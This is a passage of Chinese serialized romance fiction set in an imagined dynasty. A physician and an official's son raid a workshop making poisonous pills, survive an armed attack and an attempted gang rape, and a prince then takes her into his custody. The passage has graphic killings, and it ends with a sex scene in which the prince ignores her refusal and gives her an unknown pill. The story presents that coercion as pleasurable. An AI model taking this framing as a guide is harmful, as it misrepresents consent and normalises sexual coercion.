荀叙拿开她的手笑得前仰后合,“原来你怕鬼,哈哈哈哈……” 程芙腿肚子打哆嗦,拿他无可奈何。 他却不管人死活继续笑,离得太近了,她都能感觉到他呼吸的热气,发觉手也被他攥着,便没好气地甩开。 荀叙忙敛起笑意,温声道:“我错了还不行,走这边,这边,好啦。” 她便转回身,默默跟他走。 荀叙不敢再招惹她。 再行数百步,人声犬吠,嘈嘈杂杂,此起彼伏,隐约可辨拳头砸到肉,门板窗户木头碎裂之响。 只见正前方矗立着一方大院,院门漆黑古朴,此时半敞,火光和杂声都从这里传出来。 两盏茶后黑作坊重归宁静,只偶尔传来几声夜鸟鸣叫。 守门的两名中年汉子被反绑于一株合抱粗的大槐树,借着微弱的火光,隐约可见二人垂着头,动也不动,深色的液体顺着额头往下落,滴滴答答。 程芙瞄了一眼,没敢细看。 前院正房则横七竖八躺着五名壮汉,同样失去了意识,身上捆得结结实实,好似乡下待宰的年猪。 程芙慌忙紧跟荀叙,片刻之后只见平安喜乐归来,二人朝荀叙拱手,回禀:“后院作坊仅有两名守夜的工匠,已经打晕了捆结实,一共九人。” 与郑银匠透露的人数正好对上。 半死不活的郑银匠连祖宗十八代的事都交代得干干净净,关于菩萨丸作坊,是半个字也未敢隐瞒。 程芙由衷赞道:“好利落的身手。” 平安和喜乐谦虚地笑笑,“雕虫小技不足挂齿,让程医女见笑了。” 荀叙安排平安留下望风,遂带着程芙和喜乐前去后院翻找罪证。 未料一踏进漆黑的加工坊,程芙就差点绊倒,三人点燃火把,又把随身携带的羊角灯点亮,照了照,赫然发现罪证几乎贴着眼皮。 一堆堆朱砂汞矿石,坦坦荡荡呈现众人视线中,隔壁屋子更有提炼好的,盛放在大木箱子,更有乱七八糟的药草,有的堆放草席有的干脆扔地上,附近还有可疑的尿迹,散发着阵阵腥臊气。 程芙系上面巾,荀叙动作比她更快。 嚣张了十几年的地头蛇,在荒郊野外生产菩萨丸,黑白两道全打过招呼,连官府都没敢奈何他们,做梦也想不到有人深更半夜摸过来太岁头上动土,更想不到镖师出身的五名壮汉被人揍得人事不省。 四个年轻人如入无人之境,把黑作坊翻个底朝天。 账册、药材名录、方剂名录整整齐齐三大本。 搜到这些说难也不难,可说不难吧普通人还真不好弄,全靠平安和喜乐撬开的机关锁。 程芙恨声道:“不仅有朱砂汞,还有七种寒性劣质药材,简直不把女子当人,照这么吃法皂河县怕是要灭县了。” 她问:“这九个人该如何处理?” “院子里有辆马车,正好全都拖回临时官邸。” “你要亲自严刑拷打?” “当然。” “万一董知县过问……咱们怎么应对?” “我连他一起打。”荀叙扬扬眉毛道,“你回去把药材毒性整理成册,好将菩萨丸的真相公之于众,得罪人的活儿我包了。” 程芙忽然后悔方才一直冷脸对他,要不是他,自己一介草民,哪里斗得过这些枝叶相连的庞然大物。 喜乐见状,忙去搜隔壁。 荀叙立刻拧了眉,眼角一耷拉,垂眸摸摸自己手背,委屈道:“进门前我担心你摔跤,好心牵你,你倒好,不由分说打我手背,可疼了。” “打人是我不对,我跟你道歉。”程芙垂眸道,“实在不行,你打我还回来,我保证不生气。但是以后不可以那样了。” 话锋一转,她仰脸望向他,无比正色道:“我不许你那样碰我。” 陡然十指交叉相扣,紧紧握住了她。 从脸颊到手腕又到手指,一路走来,便是根木头也不可能对他一步步狡猾地试探无知无觉。 他玩的全都是崔令瞻玩剩下的。 他没拿她当朋友,他想拿她当女人。 她很喜欢他的性格,也钦羡他的能力,但绝无男女方面的涟漪,更清楚彼此的身份隔着天堑。 这样试探她,无非就是觉得她早已失贞,极好得手,玩腻之后随便给点钱打发了。 崔令瞻一开始也是这么待她的。 他们都一样。 她只是厚道,不代表不知男人有多坏。 荀叙怔怔瞅着她,耳朵尖涨得通红,好一会才别开脸,冷冷回:“好。” 两人不欢而散,继续四处搜查,看看有无遗漏。 好长时间,屋子里安静得针落可闻。 荀叙不住地懊悔,几度回首,小心翼翼觑着阿芙的背影。 “荀叙!” 程芙惊呼。 他眼神一凛,箭步跨了过去,满目震惊。 只见那片充满尿骚味的木头板子是活动的,被阿芙掀开半边,露出一张淤青的脸,嘴里塞满了抹布,还活着,顶着满脑袋污血,蛄蛹来蛄蛹去。 荀叙摘下那人嘴里的抹布。 那人立刻发出一嗓子嘶哑的哀嚎,“天杀的焦布仁,我便是死也要拉你一起下地狱。” 只见他目眦欲裂,紧紧瞪着程芙和荀叙,哇哇大叫,接近癫狂。 当荀叙和程芙将他所说的话拼凑完整时,脸色比他还难看。 “没有瘟疫,没有瘟疫!是焦布仁干的,他请苗疆巫医撒的蛊毒,死多少人全都是他说了算!!他,他还要我死,他把我媳妇糟-蹋了,我要他死无全尸——” 随着他的破音,荀叙眸光一紧,神情变得无比复杂。 程芙傻了眼,下意识往后退了步,却见荀叙猛然朝她扑了过来。 “荀叙——” 他抱着她就地一滚,她什么都看不清,后脑勺随着他手掌一起砸在地上。 一道雪亮的锋利的冷茫从她眼角一闪而过。 轰隆,两道木门被人大力踹开,门外传来平安的声音:“公子,快跑。” 跑是显然来不及了。 踹门的黑衣蒙面人,裹挟着阴冷而入,举起一个物什。 程芙眼睁睁看着那物什一步步靠近自己和荀叙。 荀叙将她紧紧地抱在怀中,那人将奇怪的物什顶在了荀叙脑门。 “三公子,这里不是京师。”蒙面人笑道,“玩过火铳吗?要不要我用这个女人的脑袋给你示范一下?” 火铳? “……”程芙一动不动。 荀叙:“你要是让她的脑袋开花,我就把你的脑袋当烟花放了。” 第63章 蒙面人冷笑:“你自身都难保, 还敢呈口舌之快,老子先让你脑袋开花。” 程芙不认识火铳,但不是傻子, 此刻哪里还看不出是个要命的玩意, 忙打圆场:“这位大哥, 凡事好商量……” 年轻蒙面人一听, 对她呵呵笑起来,“你有何事要与我商量?” 目光下流, 语气也下流,程芙懵了。 “你, 过来。”年轻蒙面人另一只手指向程芙, 火铳却没从荀叙脸上移开。 过去干嘛?程芙摇了摇头。 荀叙将程芙护在了怀中,冷肃道:“她说的对,凡事都可以商量, 但你要是动她,今天你就必须死。” 年轻蒙面人撬开机括,用力抵住荀叙眉心,“找死!” “住手。” 一道粗声断喝,喝停了年轻蒙面人。 只见一名年纪稍长的大步迈入,他右手提着把明晃晃的长刀,同样蒙面, 显然是手持火铳的年轻人同伙, 身后另跟着两名喽啰。 四名匪徒虎视眈眈。 程芙心凉了大半截。 年长者:“这种地方用火铳,你不要命了?” 他劈手夺走同伙的火铳,关掉机括,再扔回同伙手里。 荀叙面不改色,唇抿得紧紧的, 沉沉观察四名不速之徒,心知今日凶多吉少,皂河县瘟疫竟是人为,火铳流落民间,不管哪一样都是诛九族的重罪,那么他和阿芙不管是何身份都逃不过一个灭口。 然而越是死局他越冷静,不动声色扶起阿芙,她早吓麻了,一直在发抖。 千钧一发之际,那名被捆绑的疯男人忽然乱叫,边诅咒边蛄蛹向年长的蒙面人,“全都是焦布仁干的,他该死,是他造成的瘟疫,害苦了……” 后面的话被血水堵在喉咙,嗬嗬数声,脖子一垂,人间又多了一缕冤魂。 年长者拔出捅穿疯男子胸口的长刀,血瀑直喷,血雨瞬间四溅。 程芙因背靠荀叙怀中躲过一劫,她的注意力有一半分到了隔壁——喜乐就在那间屋,一直没有动静,对面四名贼人似乎并不知那里还有人。 荀叙看懂了她的想法,微不可察地点点头。 程芙心跳实实如战鼓。 可是喜乐的拳脚还不如平安,连平安都拦不住的贼人,喜乐就能吗?与其出来送死还不如躲好,总得留个活口,将来让世人知晓焦布仁的罪行,也知晓她因何而死…… 越想越难过。 人为瘟疫,她还是头一回听说,却很快意识到了性质的严重性。 死到临头,程芙发现自己还不太想死,不,是特别不想死,她欲哭无泪。 年长蒙面人指挥属下:“把他们押到山顶挖坑埋掉。” 又特特提醒了句:“埋之前取下他们身上所有与身份相关的。” “我若出事,皂河县不日便要变了天。”荀叙尽可能拖时间,“谁也别想好过。” 不提还好,他一提,年长蒙面人登时火冒三丈,咬牙道:“若非你多管闲事,步步紧逼,大家何至于到今天这个局面?你死了,不知要搭进多少人命陪葬;但你不死,搭进去的更多。” 总之一个活口不能留。 “我也是太医署的人,拢共就三名朝廷特使,一下子失踪两名,放到哪朝哪代都是震惊朝野的大案。”程芙尽量和缓地述说,不让自己露怯,“各位好汉,倒不如先把我们关押起来,也好过赶尽杀绝……” 年长者嗤笑一声,“诛九族的事,只有死人才会保守秘密。” 对方有火铳,荀叙并不敢轻举妄动,尤其带着程芙,以她的反应力便是普通刀剑都躲不过的,他用力攥紧她的手。 而那名从方才就注意着程芙的年轻蒙面人忽然道:“这娘们实在是太漂亮,直接埋了委实暴殄天物,叔父,且让我受用一回吧?” 正中另外两名匪徒的心事,都是血气方刚的年纪,十分馋女人,突然一下子对上顶级的,很难不心猿意马,他们也想尝尝滋味。 “混账,都什么时候还想女人!” “叔父,我们兄弟几个提着脑袋讨生活,长这么大还没享过福,你看她,活生生一个人间绝色,若非事关重大,我哪里舍得动一下,如今你就允我们尝一尝,也算不白活。” 年轻人浮躁,见到女人就走不动道,更何况今天的确是个极品。年长者扫了一眼另外两个的眼神,也是冒着绿光,直勾勾的。 程芙呆了呆,下一刻就反应过来这群人想干什么,唰的一下面无人色。身后,荀叙低低对她说了句:“别怕,待会别反抗。” 她抬眼难以置信看向荀叙。 年长者沉着脸道:“速度快点,我只给你们半个时辰。” 三人的惊喜几乎要从面罩下射出来,扑过去,两人狠狠按住荀叙,另一人按倒程芙就开始解自己的裤腰带。 荀叙牙齿都在打颤,眼底猩红,寒着声道:“便是牲口行事也喜挑个清净的地方,你有多急,竟能当众苟-且?” 匪徒愣了下。 隔壁就有间屋子,而这里,一具尸体,四个活的大男人,他再瞅瞅下边惊魂未定的美人,她马上就要死了,死前还要受他折磨,那他便行行好,让她少受些屈辱吧。 程芙涕泪横流,“荀叙,荀叙,救救我……” 她绝望的视线与荀叙的交织,他的眼神黝黑,平静,眼圈绯红,突然地,她想起了他的话,他叫她不要怕,也不要反抗…… 程芙哽咽了声,松开抓匪徒的手,任由对方将她抱进了隔壁。 年长蒙面人气得背过身,似乎仍觉晦气,干脆走出房间,立于院中焦躁等待。 余下的两名匪徒,一个刀架在荀叙脖颈上,另一个弓着腰扯作坊团成堆的粗麻绳,待会把所有人绑成团,埋做一起,省事。 绳子扯出,他迅速给同伙使眼色,却听轰然一声巨响,直冲云霄,惊飞无数夜鸟。 巨响是从隔壁发出的。 火铳的声音。 可是匪徒离开时将火铳交给了同伙,为了投入身心享受美人。 所以,这又是哪来的火铳? 未料一个分神就让荀叙抓到了机会,几乎是同时匪徒握刀的手腕传来剧痛,被铁钳般的五指收拢,卸力夺刀,反手一带,就将他的脖子割成两截。 血雨喷溅。 一切不过弹指间,待年长蒙面人和另一个蒙面人反应过来,同伙的尸体已重重砸向地面。 匪徒撬开机括,将火铳对准荀叙。 雷鸣般的轰响再次炸开,震的屋顶摇晃,尘土飞扬。 响声过后,举着火铳的匪徒半边脑袋不翼而飞,试图逃跑的中年蒙面人躺在了血泊中,他的两条腿已经断了。 喜乐举着火铳从阴影中走出。 能在公子身边的人怎会没有特殊之处呢? 他的拳脚功夫确实平平无奇,却是箭无虚发的优秀射手,走到哪里都是火铳和精巧的小机弩不离身,任尔速度再快甲胄再厚也吃不住他一发冰火利器。 “阿芙——” 荀叙箭步冲进隔壁,掀起趴在程芙身上的尸体,因是近距离射击,尸体的脑袋都没了,可以想见程芙此时的状况。 他抱起浑身是血的程芙,用袖子飞快地擦着她小脸,“阿芙,阿芙,没事了,不要怕,都是我不好……” 程芙看见荀叙,似乎才回过魂,“哇”的一声干呕出来,泪如泉涌。 方才匪徒把她扔进了稻草堆,就急不可耐解衣裳,喜乐从成堆的箱子后转出,拿着一个与匪徒携带的相似的物什,举起,朝着她的方向,扣动机括,她感觉世界轰鸣,耳朵也随之失聪,一片寂静,许久许久之后,才渐渐听得微弱的汩汩水流声,是匪徒的血。 没了脑袋的匪徒,躯干僵硬,而后直挺挺砸向了她…… “我的耳朵。”程芙怔怔道。 “像蒙了一层棉花对不对?”他把脸紧紧贴着她的。 “蒙了很厚的一层棉花。” “是暂时的,不会有事。”他的眼眶蓄满了泪,“我帮你擦擦脸,然后我们回去。” 喜乐正在院子里为平安包扎伤口,荀叙自己找到了厨房,拎来一桶水,用自己的帕子一遍遍擦拭程芙的脸颊和头发,将那些肮脏的血肉全部清理掉。 回去之后,天光大亮,程芙蔫蔫的,失魂落魄。 荀叙沐浴更衣,将自己清理干净,前去探望程芙。 那时熊氏姐妹也已帮她沐浴完毕,换上干净的衣裙,因怕她着凉,还提前在屋里烧了盆红箩炭。 荀叙更怕她发高热,便寸步不离守着她,为她施了定魂针,熊秀端来熬好的安神汤,服侍程芙饮下。 “我没事。”程芙打起精神,“你也受了不小的惊吓,早些回去歇息吧。” 他受的罪不比任何人少,却不停地道歉,呵护了她一路…… 她说:“我看看你的脉象。” 荀叙:“嗯。” 她的指腹落下,他的脉象便已紊乱。 程芙抬眸看他,他的视线微微闪躲。 他们回来的路上颇遇到了几个县民,而他们又个个形容狼狈,且还拖回十个五花大绑的壮汉,很难不引人侧目。 消息像是墨汁滴入了清水,四散而开。 人是初四上午回来的,初四晚一群官兵便围住了临时官邸,董知县当然没这么大能耐,也没这么大的胆子。 来人是定州泓塘卫指挥佥事,自称姓高。 高佥事不由分说将程芙和荀叙以及他们绑来的十名大汉锁走。 有人小声提醒他荀叙的身份,“那是荀尚书家的三公子,荀正清的嫡孙,还是别惹为妙。” 高佥事面色黑里透着青,厚实的嘴唇绷成了一条线,撂下“带走”二字,奔至坐骑前,跃上马鞍,如飞而去。 临时官邸乱成了一锅粥。 众人奔走相告,求爷爷告奶奶。 殊不知抓走荀叙等人的高佥事日子更不好过,把人关进单独的牢房,他就去指挥使那里复命。 指挥使的书房,燃了一夜的蜡烛。 比之高佥事,指挥使的压力只多不少,可上面的人拿捏着他死穴,个中庞大复杂的利益关系已经不是他能选择的了。 高佥事说:“卑职已然查明,那个小丫头背景简单,是今年新上任的医女,无父无母,丢进水里淹死一了百了。可是荀叙一直闹,扬言见不到程芙便绝食。他拿准了咱们一时半会动不了他。” 指挥使铁钵大的拳头捏得咯吱作响。 高佥事盯紧他的表情,盼着他给句准话。 而他,始终都没有开口。 …… 程芙被人丢进了重刑犯大狱,狱卒看见她皆是一愣,不过没有人敢打死人的主意,这不是一般的死人,谁沾谁倒霉。 大家尽量避着她,不跟她讲话,也不许她开口,初五一整天仅丢给她两只发硬的馒头和一碗稀粥,晚上则是一碗水。 她饿得头晕眼花,抱膝缩在草堆。 阴森森的晦暗的牢狱,臭气熏天,老鼠横行,干草下还掩盖着一滩血迹,不知是哪个倒霉鬼的。 唯一的光源便是一丈高的墙上巴掌大的小窗,日升日落,全在于此,程芙盯着小窗子估算自己在牢房待了多久。 初六,窗子透进微弱的晨光。 指挥使的府邸迎来了一位尊贵的客人。 高佥事偷偷瞄了眼,见是个年轻人,二十上下,劲瘦高大,一身云锦曳撒,阔步如飞,戴着顶乌纱大帽,遮住了半张脸,皮肤白的就像雪,身边的护卫各个虎目鹰视,使人望之生畏。 指挥使见到来人,神情剧变,忙将人引进屋内。 崔令瞻撩衣落座上首,抬眸直视指挥使,“我的姑娘年纪小,偶有行差踏错也是人之常情,可她是一个姑娘,还能捅了天不成,如何就下了重狱?” 指挥使想死的心都有,上面只说了荀叙的情况,没人说还和毅王有关啊。 他扑通单膝跪地,汗如雨下—— 作者有话说:推一推预收《当虚荣的侯夫人重生》,求点收藏家人们,目前没有一本预收超过三百[化了] 写点男配上位文学 女主vs男主be 女主vs男配he 女主和男配感情线在女主和男主和离后展开 ——食用指南—— 1.【主角配角各有各的缺点】【均非真善美】,建议雷点密集/要求完美的宝宝谨慎入坑,放飞写作自娱自乐,弃文不必告知,温言善语,你一定发大财!! 2.除了男配是C+男主和女主成亲时是C,不作其他任何保证,架空历史,谢绝考据。 第64章 喀嚓, 链条锁声打开,程芙忙望过去,不是狱卒, 竟是两名面生的狱婆。 原来泓塘卫的大牢有狱婆。 她们穿过两道铁栅栏, 来到程芙的牢门前, 利落地打开了最后一道锁, 不是给她吃的更不是给她喝的,而是请她出来。 狱婆:“请吧, 程医女。” 程芙:“请问荀御医现在何处?” 狱婆:“不清楚。” “你们要带我去哪儿?”她又问。 “牢头说你舅舅给指挥使递了话,赎你出去。” 程芙:“……” 蓬头垢面的她, 像个疯婆子, 被“舅舅”崔令瞻从泓塘卫的重刑犯大狱领了回去。 见到她,他脸上没什么表情,上下打量一圈, 抬手摘了她发髻的一根稻草,说:“上车。” “……”程芙不走,仰脸望着他,“还有荀御医,他也被抓了。” 崔令瞻冷笑,“他被抓与我何干?” “他和我一样重要,皂河县……” “闭嘴, 上车。”他面色一沉, 冷声打断了她。 程芙窒了窒,这里是泓塘卫大狱的前院,两名狱婆就站在她身后,周围全是重兵,没有人知晓谁是人谁又是魑魅魍魉。 她闭紧了嘴, 没再说话,踩着长凳钻进了车厢。 崔令瞻紧随其后。 当随从关上车厢的两扇门,她看见崔令瞻下意识地屈指掩住鼻端,皱了皱眉头,显然被她熏到了。 他屏息推开窗子。 微凉的风涌入。 程芙:“……” 干净到纤尘不染的车厢,散发着黄花梨木质暖香的车厢,燃着如花似蜜的沉香的车厢,混入了一股逐渐清晰的馊味。 经过大狱熏染一天两夜的美人,再美也是臭的。 程芙无所谓,所有注意力放在方几上的一只汝窑冰裂纹茶壶上,颜色如水洗过的天空。 她抄着手,端坐宝相花纹的蜀锦褥子,想着等会儿昂贵的褥子便废了,他定是快恶心死了吧,真好呀,早知如此,当初在燕阳就该天天不洗澡。 崔令瞻偏头,贴近了窗口,脸色说不上难看,可也算不得好。 车子悠悠驶离了最后一重院落的黑色大门,程芙终于能一鼓作气说话了。 “王爷,皂河县根本没有瘟疫,都是焦员外背后搞的鬼,他依仗京师的干爹皇商,大肆敛财,草菅人命,他们全都有问题,抓我和荀御医的泓塘卫也有问题!” “你和荀叙查出的?”他终于肯正眼看她。 程芙用力点头,“您可千万不能让荀叙出事,此番回京,我们要告御状。” 崔令瞻不置可否,自不会直接告诉她那人几乎与她同时离开了牢狱。 他没有告知她的义务。 “您……说话呀!” 崔令瞻撩眼看她,“说什么?” “再给泓塘卫递句话,把荀御医捞出来。” “你是我什么人啊?”崔令瞻问她,“叫我捞人我就得听?” 程芙:“……?” “他身陷囹圄不就是为了你崔氏的江山?”她一霎被他的态度激怒了,“而你只顾拈酸吃醋,到底还有没有良心?” 崔令瞻愣住,长这么大他只被皇祖父指着鼻子骂过,何曾遭女人如此羞辱,一张白皙的脸庞唰地铁青,低声呵斥程芙:“放肆!谁拈酸吃醋了,你这个臭女人。” “我臭,是,我在大狱熏了一天两夜当然没你香。”程芙对这个人失望透顶,紧接着发现了更可气的事,“这不是回临时官邸的路!我要下车,您不救,我自会与范吏目想办法!” 臭也有臭的好处,崔令瞻被她气得咬牙切齿,愣是未敢碰她一下,始终避在对面的角落里。 程芙起身欲喊停车,殊不知狗急也会跳墙,腕子当即被崔令瞻攥住了,他将她扯回自己身边,“好大的气性,竟敢对本王大呼小叫!” “放开,我真的没时间陪您闹了。” “刚才怎不要我放开?一出大狱连骨头都硬了几分,真有骨气你就回去蹲你的监牢!” 程芙听闻此言,一颗心如坠冰水中,连眼睛也起了雾,快要看不清眼面前这个歹毒的人。 “您不觉得自己越来越过分?我蒙冤入狱,好不容易走出来为何要回去?便是您救我出来又怎样?那您早点说啊,说等下就要账,我也不稀罕上您的马车!” “不许哭。”他的气焰顿时就没了,也忘了她臭臭的,伸手将她抱进怀里,蹭蹭她额头,“荀叙哪里就需要你操心,说是坐牢,住的是单间,两个人伺候他,今儿一早便被放出去,你还担心他,你怎么不担心自己?” 得知荀叙无碍,程芙紧绷欲断的心弦方才松下,理智回笼,眼泪却像断了线的珠子,浑身虚脱,两耳轰鸣,大抵是要被崔令瞻气晕了。 为何不早说? 为何非要与她吵架? 她推开他,扶着车围子挪开,眼前一阵阵发黑。 崔令瞻瞪着她摇摇欲坠的背影,嚅了嚅唇,再次将她搂入怀中,不肯松手。 他闷声道:“不要生气了,我不跟你吵便是。”说话的同时手指轻柔地揩拭她脏脏的脸颊,声音也轻柔,“听话,嘴角都起皮了。” 程芙方才想起自己有多久水米未进,别开脸以袖擦擦眼角。 很饿也很渴。 崔令瞻腾出一只手倒茶,端到她嘴边,“喝水……” 她不要他喂,自己捧着杯子咕咚咕咚往下咽,喝得很急,他怕她呛到,一时也不敢打扰。 臭臭的美人,闻着闻着倒也习惯了,何况她又不是真的臭,离得近他就闻到了她衣领子散出的柔软体香,崔令瞻亲亲她耳朵。 程芙耸肩躲避,崔令瞻也不纠缠,伸手打开攒盒,取了一块新鲜的八珍糕,“先吃块垫垫,把性子收一收,以后不许对我大呼大叫,你说的事我自会与荀叙确认。” 得了他句准话,程芙才接过点心,红着眼眶默默咬一口,委实饿坏了,嚼两下便吞入腹中。 马车一停,她就从他腿上跳下,唯恐被安放条凳的下人发觉崔令瞻和自己亲昵的相处方式。 见她如此自欺欺人,崔令瞻嗤笑一声,待下了车,吩咐亲卫:“传荀御医和范吏目未正来见本王。” 顿一顿改成,“你亲自接他们过来。” 亲卫抱拳应诺。 程芙当时离得并不远,听清他的话,忿郁瞬间消减大半,忙走到他面前道:“还有十个犯人也一并带来吧,九个完整的,一个断了腿。” 崔令瞻揽过她柔软的小腰肢,捏一捏,说:“好。” 她推他,推不动,只得跟着他的步子进了一座陌生宅邸。 上房早有仆婢侍立,一见崔令瞻走进来,纷纷屈膝问安。 待崔令瞻和程芙坐定,立即有婢女端水上前服侍净手净面。 皂河县的婢女到底是不了解毅王习性,竟习以为常捧起他的手,要帮他清洗,果然被他不悦地拂开,能自理的事情,毅王并不喜欢假手他人。 婢女红着脸,双手敬上洁白的棉帕子。 崔令瞻擦着手,冷不丁抬眸,当场攫取程芙窥探的视线,程芙吓一跳,扭过头,不再看他,未料洗过自己双手的铜盆竟飘着一层浮灰,荡荡悠悠。 她的脸颊一阵阵发热。 幸而服侍她的婢女面不改色,始终微垂着脸,还贴心地又打了一盆清水回来,帮她重新擦洗。 此前离开的仆妇端来了燕窝粥,温度正正好好,是上等的绿油油的碧粳米,还加了鲜美浓郁的牛乳。 全是她的喜好。 程芙的眼睛清亮几许。 崔令瞻:“吃完粥再去沐浴更衣。” 程芙:“是。” 这里的仆婢应是事先有过准备,对她的狼狈竟半分惊讶也无。 她把肚子垫饱,再收拾一番,也好和荀叙范吏目碰面,方不失体面。 万没料到崔令瞻竟不打算带她。 午后,她自己找过去,拦住了崔令瞻去路,“您是不是要去外书房?” “关你何事?” “我又不是您内宅的女人,凭何不许我见荀御医和范吏目?” 崔令瞻:“你一个女孩子掺和进来成何体统?该是你的功劳本王记着,不需要你管的休要插手。” “您莫不是怕我和荀御医回去?”程芙冷笑道,“毅王在燕阳强抢民女也就算了,如今连皂河县也不放过?” 原本就被她跟烦了,听她如此说话,崔令瞻恼羞成怒转过身,咬牙道:“就是强抢你,你能奈我何?” 程芙:“……” “王爷。”她仰脸望着他,“我是朝廷特使,我有自己的事,对公,我都听您的,可您若要以权谋私,请恕难以从命。” 崔令瞻眯着眼瞪她,她的视线没有闪躲,瞪了半晌,他恨恨别过脸,拂袖继续朝着外院的方向走,程芙跟在他身后,这次他没有阻拦她。 外书房,荀叙和范吏目等待多时,遥遥眺见毅王的身影,俱是一喜,转而又瞥见了程芙的,荀叙湛亮的眉眼顿时暗淡几分。 这是荀叙第一次目睹毅王与阿芙同框的画面,与想象的截然不同。 毅王完全就是在谈情说爱啊…… 他应是很喜欢她,始终放慢着步子,遇到台阶时,手掌会虚扶她腰侧,那是一种微妙的、暧昧的占有欲。 眼神始终追随她。 男人才懂。 而她也不是很矮,只是算不得高挑的女子,走在高大的毅王身边竟全无违和感,反倒别样的娇俏。 荀叙背过身,眉心微蹙,听见毅王的脚步才面无表情转回,同范吏目一齐行礼。 “王爷金安。” “嗯。”崔令瞻负手来到书案前落座。 程芙朝他们打招呼。 范吏目和蔼地点点头,荀叙却仿佛没瞧见,陌生且冷冽。 程芙:“……?” 崔令瞻瞪了程芙一眼,淡淡提醒:“程医女,注意身份和场合。” 不是,问候同僚怎么就没注意身份和场合了? “……”程芙拧眉瞥向崔令瞻,不懂但随便他了,“是,王爷。” 荀叙将账册名目以及犯人供词呈给毅王。 字字触目惊心。 便是崔令瞻也是第一次听闻“人为瘟疫”的说法。视线微微一顿,停在了“邱子昂”三个字上,此人乃东宫表舅,去年联合各地奸商与漕运垄断米价,导致丰年出现了百姓饿死的奇闻,被皇帝好一番申斥,罚了数万两白银,没想到还不知收敛。 他认真翻阅片刻,神情逐渐凝重,抬眸问:“此番瘟疫焦布仁家受到多少影响?” “仅三名体弱多病的仆役死亡。”荀叙回,“对比全县四成的死亡人数着实不够看,县民都道他家防疫措施好,纷纷效仿,后因确实有些成效,便也无人质疑。” 崔令瞻又问了几个瘟疫相关的问题,确定心中疑惑后,即刻命人重审九名菩萨丸作坊的帮闲,另一名断腿的犯人事关重大,则由他亲自审问。 “荀御医。” “下官在。” “本王自会派人追查根源,在此期间人为瘟疫亦是瘟疫,你们太医署的方剂和控疫措施照旧进行。” “是。”荀叙默了默,担忧道,“我们此前打草惊蛇,该当如何处理?” 不提此事还好,一提崔令瞻心头火势猛然大增,阴沉道:“本王自会想法子处理。” “是。” “你也老大不小,行事怎如此莽撞!”崔令瞻呵斥道,“带着姑娘家深入贼窝,你觉得好玩,她刚好也犯傻,你俩可真是作的一手好死!” 但凡换个身份低一些的,掏不出火铳机弩这样的防身神器,任凭武功盖世怕也要有去无回。 谁能想到国之重器流落贼手,这分明是军机营失职!荀叙心中不服,可一想到自己确实存了私心,根本不是非得带阿芙去不可,却因为喜爱和好玩,便带她一起过去,害她受了好大一番惊吓,所有的不服瞬间就化作了苦水,默默咽下。 程芙见状心里也不好受,祸是一起闯的,凭的是一腔惩奸除恶的赤诚之心,便是出了差池,也应两个人承担,怎能一味斥责荀御医…… “王爷。”程芙上前欠了欠身,轻声道,“贸然夜探黑作坊是我们不该,是我们行事不够周密,合该受您责罚,可是这件事并非荀御医唆使的我,而是我主动要求……一切都是我的错,请您责罚我吧。” 荀叙眸光微动,转头看向她。 程芙也抬眸看他,两人视线相抵,他眼圈微微发红,“阿芙……” “这件事确实与你无关。”她抿一抿唇,认真道,“当初你还劝过我,是我不听,非要过去。” “阿芙,我……” “够了!”崔令瞻拍案而起,着实被二人的“深情”恶心到不行,黑着脸呵斥程芙,“你的账,本王自会与你算,你给我一边儿去。” 程芙:“……” 荀叙:“……” 毅王的到来是场意外之喜,使得阴云笼罩,上下腐烂发霉的皂河县有了微许亮光。 可是毅王的脾气也很大,动不动就呵斥人。 这日,从书房出来的人中,唯有范吏目完好无损。 荀叙愤然转身时,余光瞥见毅王突然将阿芙揽入怀中,任她着急变了脸色,就是不松手,冰冷的目光挑衅地目送他踏出房门。 不等阿芙出来,书房的大门竟被婢女重新阖上。 荀叙身形一僵,怔怔回首,却被范吏目用力扯了把。 范吏目:“回去,后面还有一堆的事情等着咱俩。” “阿芙没跟过来。” “毅王自会送她回去。无需你操心。” 书房内,程芙用力推开崔令瞻,“王爷,我要回去。” “我没说不让你回。” “果真?” “你们临时官邸的隔壁挺不错,以后你便住那边,白日再回官邸。” “你……你凭何干涉我住哪里?” “一个姑娘家和荀叙同住一宅院,你害不害臊?” “他在一进院我在三进院。” “那也不行。” “隔壁是一群外地客商,难道他们就比荀御医更合适?” “以后就是我的宅院了,是我的,你的男人的。” “你?”程芙怔了须臾,猛然反应过来怎么回事,“你又让人监视我?” “是保护不是监视,若是监视,我岂能允许你跟他去黑作坊送死?” 程芙:“……” 见她抵触情绪稍稍平息些许,崔令瞻忙弯身拥她入怀,安抚地亲亲她,柔声哄道:“咱们不吵架好不好?” 上一次见面还是四十六日前。 他好想她。 快想疯了。 还要看她和别的男人眉来眼去。 满腹心酸与愤怒在心里烧着。 然而此时此刻,抱着她,那些汹涌的躁动的不安的情绪又全都没了。 “阿芙,听话,让我好好看看。”他轻声呢喃着,收敛着攻击性,一点一点捺下她的逆鳞,而后堵住了她惊呼的红唇。 书房的里间是暖阁,他把毫无防备的小猎物抱了过去,说尽好话,发誓日落前定与她一同回家,回临时官邸隔壁的那个家。 但日落前她得让他好好看一看,疼一疼。 “我不,呜呜,我没有药了。” “我有。是你留下的,羞辱我的那些药,足够你助兴了。” 程芙:“……” 他喂了她一颗,味道似乎有些不对,可他不让她有太多思考的空余,飞快地拆开自己的衣结,衣袍滑落腰际。 “你喂我吃的什么?”程芙艰难地喘息。 “就是你的药,是不是快要舒服死了?” 她呜咽一声,陡然睁大了双眸。 “放松,放松,我的乖乖……”崔令瞻急促地呼吸,他都感觉到了一点点疼,可见她有多紧张。 帐幔轻舞,流光泄了一地,此间旖旎风光实非笔墨可以描述。 只当是如鱼得水,似胶投漆。 她抵触的声音越来越小,后来再响起的只剩令人脸红心跳的浅哦…… 崔令瞻将她紧紧搂作一团,于她耳畔呢喃:“如何?” 程芙哪里还说得出话,汗湿发鬓,脚趾不停地蜷起。 “我问你不加情-药的滋味如何?”他一字一顿道,“我照样能给阿芙无数的快乐……” 那果然不是她的药!程芙微微喘,张口大骂,却被他笑着吻住了嘴。 “乖,我们这样好的年纪,这般地投契,自当用心享受。” 她奋力别过脸,继续破口大骂。 崔令瞻故意用力,她就骂不出了,哭得不成样子—— 作者有话说:没有二更哦,今天字数有进步[狗头叼玫瑰] 第65章 久违的一场酣畅淋漓, 一滴晶莹汗珠沿着崔令瞻鼻梁滚落,一路滚过了下巴,他仰颈长长地叹息, 又滚落他脖颈、喉结, 随着他阵阵战栗, 程芙知道总算结束了。 她的目光怔怔定在晃动不止的帷幔, 放空了片刻。 倒也不值得自责,因为有感觉只是因为她的身体健全正常, 